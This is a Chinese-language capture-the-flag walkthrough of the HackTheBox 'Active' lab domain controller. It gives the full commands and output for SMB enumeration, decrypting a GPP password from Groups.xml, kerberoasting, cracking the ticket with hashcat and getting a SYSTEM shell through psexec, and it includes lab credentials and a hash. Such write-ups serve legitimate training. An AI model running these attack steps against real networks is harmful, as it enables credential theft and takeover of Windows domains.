内容简介：Active是一个很简单的box，不过也提供了很多学习的机会。这个box包含了很多与Windows活动目录相关的常见漏洞。你可以在这个box中进行SMB枚举，这是一个不错的练习机会。你也可以对Windows域使用kerberoasting，但如果你不是渗透测试员的话，是没有机会这么做的。·Nmap-SMB枚举
Active是一个很简单的box，不过也提供了很多学习的机会。这个box包含了很多与Windows活动目录相关的常见漏洞。你可以在这个box中进行SMB枚举，这是一个不错的练习机会。你也可以对Windows域使用kerberoasting，但如果你不是渗透测试员的话，是没有机会这么做的。
Box详情
侦察
·Nmap
· SMB
-SMB枚举
-列出共享
共享复制-SMB
· 遍历
· GPP密码
· 破解GPP密码
用户共享-SMB
Kerberoasting
· 背景
· 获取哈希
· 使用Hashcat破解
管理员权限
· 共享遍历
· 获取root.txt
· System shell
Box详情：
侦察
Nmap
Nmap结果显示这是一台Windows 2008 R2服务器，而且是活动目录域控。
<a href="/cdn-cgi/l/email-protection" data-cfemail="55273a3a21153e34393c">[email protected]</a>:~/hackthebox/active-10.10.10.100# nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.100
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-28 21:35 EDT
Nmap scan report for 10.10.10.100
Host is up (0.020s latency).
Not shown: 65512 closed ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open msdfsr
9389/tcp open adws
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49169/tcp open unknown
49170/tcp open unknown
49179/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.98 seconds
<a href="/cdn-cgi/l/email-protection" data-cfemail="7604191902361d171a1f">[email protected]</a>:~/hackthebox/active-10.10.10.100# nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152-49158,49169,49170,49179 --min-rate 5
000 -oA nmap/scripts 10.10.10.100
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-28 21:37 EDT
Nmap scan report for 10.10.10.100
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7600 (1DB04001) (Windows Server 2008 R2)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7600 (1DB04001)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2018-07-29 01:37:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp closed unknown
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49169/tcp open msrpc Microsoft Windows RPC
49170/tcp open msrpc Microsoft Windows RPC
49179/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -35s, deviation: 0s, median: -35s
|_nbstat: NetBIOS name: DC, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:a2:16:8b (VMware)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2018-07-28 21:38:11
|_ start_date: 2018-07-28 15:00:50
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.56 seconds
<a href="/cdn-cgi/l/email-protection" data-cfemail="1765787863577c767b7e">[email protected]</a>:~/hackthebox/active-10.10.10.100# nmap -sU -p- --min-rate 5000 -oA nmap/alludp 10.10.10.100
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-28 21:40 EDT
Warning: 10.10.10.100 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.100
Host is up (0.021s latency).
Not shown: 65385 open|filtered ports, 145 closed ports
PORT STATE SERVICE
123/udp open ntp
137/udp open netbios-ns
49413/udp open unknown
49616/udp open unknown
65096/udp open unknown
SMB-TCP 139/445
SMB遍历
如果是一台Windows主机，那么我会看看SMB。一般我都会使用多种 工具 来对主机进行SMB遍历。我还写了一篇博客， 讲解各种SMB遍历的工具 。然后lppsec又告诉我一个工具smbmap，那会儿我刚写完那篇博客，刚刚更新完SMB枚举checklist，不过我又去编辑那篇博客，添加了smbmap这个工具的使用原理和使用步骤。
列出共享
我刚开始使用enum4 linux 这个工具进行了枚举，但是这个工具有个问题，它dump了一堆信息，不过大多时候，这些信息都没什么用。返回来的信息都很难理解，下面是输出结果中比较有用的部分：
<a href="/cdn-cgi/l/email-protection" data-cfemail="ef9d80809baf848e8386">[email protected]</a>:/opt/ad-ldap-enum# enum4linux -a 10.10.10.100
...[snip]...
=========================================
| Share Enumeration on 10.10.10.100 |
=========================================
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.10.10.100
//10.10.10.100/ADMIN$ Mapping: DENIED, Listing: N/A
//10.10.10.100/C$ Mapping: DENIED, Listing: N/A
//10.10.10.100/IPC$ Mapping: OK Listing: DENIED
//10.10.10.100/NETLOGON Mapping: DENIED, Listing: N/A
//10.10.10.100/Replication Mapping: OK, Listing: OK
//10.10.10.100/SYSVOL Mapping: DENIED, Listing: N/A
//10.10.10.100/Users Mapping: DENIED, Listing: N/A
...[snip]...
而smbmap工具的输出结果就非常清楚，一目了然，如图所示，还显示了我们不经认证就有Replication Share的读取权限
<a href="/cdn-cgi/l/email-protection" data-cfemail="a6d4c9c9d2e6cdc7cacf">[email protected]</a>:~/hackthebox/active-10.10.10.100# smbmap -H 10.10.10.100
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON NO ACCESS
Replication READ ONLY
SYSVOL NO ACCESS
Users NO ACCESS
Replication share –SMB
枚举
因为我可以不用密码就直接访问 \\10.10.10.100\Replication ，我将使用smbclient来连接并查看一番。
<a href="/cdn-cgi/l/email-protection" data-cfemail="e4968b8b90a48f85888d">[email protected]</a>:~/hackthebox/active-10.10.10.100# smbclient //10.10.10.100/Replication -U ""%"" Try "help" to get a list of possible commands. smb: \>
或者，我也可以使用smbmap来递归列出share中的所有文件，命令如下：
smbmap -H 10.10.10.100 -R
哪种方法都行，我注意到了一个很有意思的文件Groups.xml，内容如下：
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
. D 0 Sat Jul 21 06:37:44 2018
.. D 0 Sat Jul 21 06:37:44 2018
Groups.xml A 533 Wed Jul 18 16:46:06 2018
它有username和cpassword字段：
<?xml version="1.0" encoding="utf-8"?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
<Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>
</User></Groups>
GPP密码
只要创建了一个新的GPP(组策略首选项)，都会在SYSVOL share中创建一个数据配置的xml文件，包括任何与GPP相关的密码。不过，为了安全起见，在存储之前，Microsoft AES对密码进行了加密处理。但是，Microsoft又在MSDN上发布了秘钥。
微软在2014年发布了一个补丁，防止管理员将密码写入GPP。但是这个补丁对于那些已存在的可破解的密码不起任何作用。而且据我所知，渗透测试员在2018年也经常能够发现这些秘钥。更多详情，请看这篇博客： AD security 。
破解GPP密码
既然得到了秘钥，我们就可以进行破解了。Kali上有一个工具gpp-decrypt可以破解：
<a href="/cdn-cgi/l/email-protection" data-cfemail="a3d1ccccd7e3c8c2cfca">[email protected]</a>:~/hackthebox/active-10.10.10.100/smb-loot# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ GPPstillStandingStrong2k18
用户共享-SMB
有了用户名和密码，我又能多访问3个share了。
<a href="/cdn-cgi/l/email-protection" data-cfemail="8af8e5e5fecae1ebe6e3">[email protected]</a>:~/hackthebox/active-10.10.10.100/smb-loot# smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON READ ONLY
Replication READ ONLY
SYSVOL READ ONLY
Users READ ONLY
当我连接到用户共享时，看起来有点像是C:\Users\目录，事实上就是这个目录：
<a href="/cdn-cgi/l/email-protection" data-cfemail="285a47475c6843494441">[email protected]</a>:~/hackthebox/active-10.10.10.100# smbclient //10.10.10.100/Users -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Sat Jul 21 10:39:20 2018
.. DR 0 Sat Jul 21 10:39:20 2018
Administrator D 0 Mon Jul 16 06:14:21 2018
All Users DHS 0 Tue Jul 14 01:06:44 2009
Default DHR 0 Tue Jul 14 02:38:21 2009
Default User DHS 0 Tue Jul 14 01:06:44 2009
desktop.ini AHS 174 Tue Jul 14 00:57:55 2009
Public DR 0 Tue Jul 14 00:57:55 2009
SVC_TGS D 0 Sat Jul 21 11:16:32 2018
10459647 blocks of size 4096. 6308502 blocks available
这样一来，我们就有足够的权限来访问user.txt文件了。
smb: \SVC_TGS\desktop\> get user.txt getting file \SVC_TGS\desktop\user.txt of size 34 as user.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
<a href="/cdn-cgi/l/email-protection" data-cfemail="c2b0adadb682a9a3aeab">[email protected]</a>:~/hackthebox/active-10.10.10.100# cat user.txt 86d67d8b...
Kerberoasting
背景
Kerberos是Windows活动目录环境中用于身份认证的协议（当然它也可以用于Linux主机的身份认证）。2014年，Tim Medin演示了对kerberos的攻击，他把这种攻击叫做kerberoasting。这个演示非常值得一看，因为Tim用了图文并茂的方式阐述了攻击过程。这里我会尝试简单回顾一下。
如果你要使用Kerberos对某些服务进行身份验证，你需要联系DC并告诉它要对哪个系统服务进行身份验证。它会使用服务用户的密码哈希对response进行加密然后返回给你。你再把该response发送给服务，该服务可以使用密码对其进行解密，检查你的身份，并确定是否允许你进入。
在Kerberoasting攻击中，你不会将encrypted ticket从DC发送到服务，而是使用离线暴力来破解与服务相关的密码。
获取哈希
我将使用IMpacket工具中的GetUserSPNs.py脚本来获取与普通用户帐户关联的服务用户名列表。它也会得到一个我可以破解的ticket。
该脚本跑完之后识别出了一个用户，而且是管理员：
<a href="/cdn-cgi/l/email-protection" data-cfemail="d6a4b9b9a296bdb7babf">[email protected]</a>:~/hackthebox/active-10.10.10.100# GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS -save -outputfile GetUserSPNs.out Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies Password: ServicePrincipalName Name MemberOf PasswordLastSet LastLogon -------------------- ------------- -------------------------------------------------------- ------------------- ------------------- active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40 2018-07-21 11:05:53
它也返回了一个ticket，我就可以尝试暴力破解来得到用户的密码：
<a href="/cdn-cgi/l/email-protection" data-cfemail="81f3eeeef5c1eae0ede8">[email protected]</a>:~/hackthebox/active-10.10.10.100# cat GetUserSPNs.out $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$7028f37607953ce9fd6c9060de4aece5$55e2d21e37623a43d8cd5e36e39bfaffc52abead3887ca728d527874107ca042e0e9283ac478b1c91cab58c9184828e7a5e0af452ad2503e463ad2088ba97964f65ac10959a3826a7f99d2d41e2a35c5a2c47392f160d65451156893242004cb6e3052854a9990bac4deb104f838f3e50eca3ba770fbed089e1c91c513b7c98149af2f9a994655f5f13559e0acb003519ce89fa32a1dd1c8c7a24636c48a5c948317feb38abe54f875ffe259b6b25a63007798174e564f0d6a09479de92e6ed98f0887e19b1069b30e2ed8005bb8601faf4e476672865310c6a0ea0bea1ae10caff51715aea15a38fb2c1461310d99d6916445d7254f232e78cf9288231e436ab457929f50e6d4f70cbfcfd2251272961ff422c3928b0d702dcb31edeafd856334b64f74bbe486241d752e4cf2f6160b718b87aa7c7161e95fab757005e5c80254a71d8615f4e89b0f4bd51575cc370e881a570f6e5b71dd14f50b8fd574a04978039e6f32d108fb4207d5540b4e58df5b8a0a9e36ec2d7fc1150bb41eb9244d96aaefb36055ebcdf435a42d937dd86b179034754d2ac4db28a177297eaeeb86c229d0f121cf04b0ce32f63dbaa0bc5eafd47bb97c7b3a14980597a9cb2d83ce7c40e1b864c3b3a77539dd78ad41aceb950a421a707269f5ac25b27d5a6b7f334d37acc7532451b55ded3fb46a4571ac27fc36cfad031675a85e0055d31ed154d1f273e18be7f7bc0c810f27e9e7951ccc48d976f7fa66309355422124ce6fda42f9df406563bc4c20d9005ba0ea93fac71891132113a15482f3d952d54f22840b7a0a6000c8e8137e04a898a4fd1d87739bf5428d748086f0166b35c181729cc62b41ba6a9157333bb77c9e03dc9ac23782cf5dcebd11faad8ca3e3e74e25f21dc04ba9f1703bd51d100051c8f505cc8085056b94e349b57906ee8deaf026b3daa89e7c3fc747a6a31ae08376da259f3118370bef86b6e7c2f88d66400eccb122dec8028223f6dcde29ffaa5b83ecb1c3780a782a5797c527a26a7b51b62db3e4865ebc2a0a0d2c931550decb3e7ae581b59f070dd33e423a90ec2ef66982a1b6336afe968fa93f5dd2880a313dc05d4e5cf104b6d9a8316b9fe3dc16e057e0f5c835e111ab92795fb0033541916a57df8f8e6b8cc25ecff2775282ccee110c49376c2cec6b7bb95c265f1466994da89e69605594ead28d24212a137ee20197d8aa95f243c347e02616f40f4071c33f749f5b94d1259fd32174
使用Hashcat破解
我会在这个网址查找哈希类型，然后使用Hashcat进行破解：
~/Dropbox/CTFs/hackthebox/active-10.10.10.100$ hashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt --force hashcat (v4.0.1) starting... ...snip... $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$7028f37607953ce9fd6c9060de4aece5$55e2d21e37623a43d8cd5e36e39bfaffc52abead3887ca728d527874107ca042e0e9283ac478b1c91cab58c9 184828e7a5e0af452ad2503e463ad2088ba97964f65ac10959a3826a7f99d2d41e2a35c5a2c47392f160d65451156893242004cb6e3052854a9990bac4deb104f838f3e50eca3ba770fbed089e1c91c513b7c98149af2f9a 994655f5f13559e0acb003519ce89fa32a1dd1c8c7a24636c48a5c948317feb38abe54f875ffe259b6b25a63007798174e564f0d6a09479de92e6ed98f0887e19b1069b30e2ed8005bb8601faf4e476672865310c6a0ea0b ea1ae10caff51715aea15a38fb2c1461310d99d6916445d7254f232e78cf9288231e436ab457929f50e6d4f70cbfcfd2251272961ff422c3928b0d702dcb31edeafd856334b64f74bbe486241d752e4cf2f6160b718b87aa 7c7161e95fab757005e5c80254a71d8615f4e89b0f4bd51575cc370e881a570f6e5b71dd14f50b8fd574a04978039e6f32d108fb4207d5540b4e58df5b8a0a9e36ec2d7fc1150bb41eb9244d96aaefb36055ebcdf435a42d 937dd86b179034754d2ac4db28a177297eaeeb86c229d0f121cf04b0ce32f63dbaa0bc5eafd47bb97c7b3a14980597a9cb2d83ce7c40e1b864c3b3a77539dd78ad41aceb950a421a707269f5ac25b27d5a6b7f334d37acc7 532451b55ded3fb46a4571ac27fc36cfad031675a85e0055d31ed154d1f273e18be7f7bc0c810f27e9e7951ccc48d976f7fa66309355422124ce6fda42f9df406563bc4c20d9005ba0ea93fac71891132113a15482f3d952 d54f22840b7a0a6000c8e8137e04a898a4fd1d87739bf5428d748086f0166b35c181729cc62b41ba6a9157333bb77c9e03dc9ac23782cf5dcebd11faad8ca3e3e74e25f21dc04ba9f1703bd51d100051c8f505cc8085056b 94e349b57906ee8deaf026b3daa89e7c3fc747a6a31ae08376da259f3118370bef86b6e7c2f88d66400eccb122dec8028223f6dcde29ffaa5b83ecb1c3780a782a5797c527a26a7b51b62db3e4865ebc2a0a0d2c931550de cb3e7ae581b59f070dd33e423a90ec2ef66982a1b6336afe968fa93f5dd2880a313dc05d4e5cf104b6d9a8316b9fe3dc16e057e0f5c835e111ab92795fb0033541916a57df8f8e6b8cc25ecff2775282ccee110c49376c2c ec6b7bb95c265f1466994da89e69605594ead28d24212a137ee20197d8aa95f243c347e02616f40f4071c33f749f5b94d1259fd32174:Ticketmaster1968
管理员权限
Share枚举
现在，有了管理员的密码，我们几乎可以访问所有的shares，包括C$，这会提供整个文件系统：
<a href="/cdn-cgi/l/email-protection" data-cfemail="9fedf0f0ebdff4fef3f6">[email protected]</a>:~/hackthebox/active-10.10.10.100/smb-loot# smbmap -H 10.10.10.100 -d active.htb -u administrator -p Ticketmaster1968
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ NO ACCESS
NETLOGON READ, WRITE
Replication READ ONLY
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\10.10.10.100\SYSVOL\vnCfhEJMWA, plreae remove manually
Users READ ONLY
获取root.txt
我可以使用smbclient或者smbmap来进行连接并获取root.txt文件：
<a href="/cdn-cgi/l/email-protection" data-cfemail="d5a7babaa195beb4b9bc">[email protected]</a>:~/hackthebox/active-10.10.10.100# smbclient //10.10.10.100/C$ -U active.htb\\administrator%Ticketmaster1968 Try "help" to get a list of possible commands. smb: \> get \users\administrator\desktop\root.txt getting file \users\administrator\desktop\root.txt of size 34 as \users\administrator\desktop\root.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec) <a href="/cdn-cgi/l/email-protection" data-cfemail="d5a7babaa195beb4b9bc">[email protected]</a>:~/hackthebox/active-10.10.10.100# cat root.txt b5fc76d1...
这里值得注意的是，我甚至没有获取系统的 shell 就拿到了系统中的root flag。
System shell
但我当然想getshell。现在这些shares是可写的，而且我有管理员权限，我可以使用PSExec来getshell。直接在kali上就有很多方法进行提权，这里我还是使用Impacket这个工具，使用psexec.py这个脚本：
<a href="/cdn-cgi/l/email-protection" data-cfemail="eb9984849fab808a8782">[email protected]</a>:~/hackthebox/active-10.10.10.100# psexec.py active.htb/<a href="/cdn-cgi/l/email-protection" data-cfemail="e687828b8f888f95929487928994a6d7d6c8d7d6c8d7d6c8d7d6d6">[email protected]</a> Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies Password: [*] Requesting shares on 10.10.10.100..... [*] Found writable share ADMIN$ [*] Uploading file dMCaaHzA.exe [*] Opening SVCManager on 10.10.10.100..... [*] Creating service aYMa on 10.10.10.100..... [*] Starting service aYMa..... [!] Press help for extra shell commands Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system
以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持 码农网
猜你喜欢:
- 常见网络攻击及防御
- 常见网络攻击--XSS && CSRF
- TCP/IP 常见攻击手段
- 攻击无处不在，区块链里三种常见的攻击类型
- DDOS入门介绍（二）：常见攻击手段与原理
- 常见的Node.js攻击-恶意模块的危害
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
The Definitive Guide to MongoDB
Peter Membrey、Wouter Thielen / Apress / 2010-08-26 / USD 44.99
MongoDB, a cross-platform NoSQL database, is the fastest-growing new database in the world. MongoDB provides a rich document orientated structure with dynamic queries that you’ll recognize from RDMBS ......一起来看看 《The Definitive Guide to MongoDB》 这本书的介绍吧!
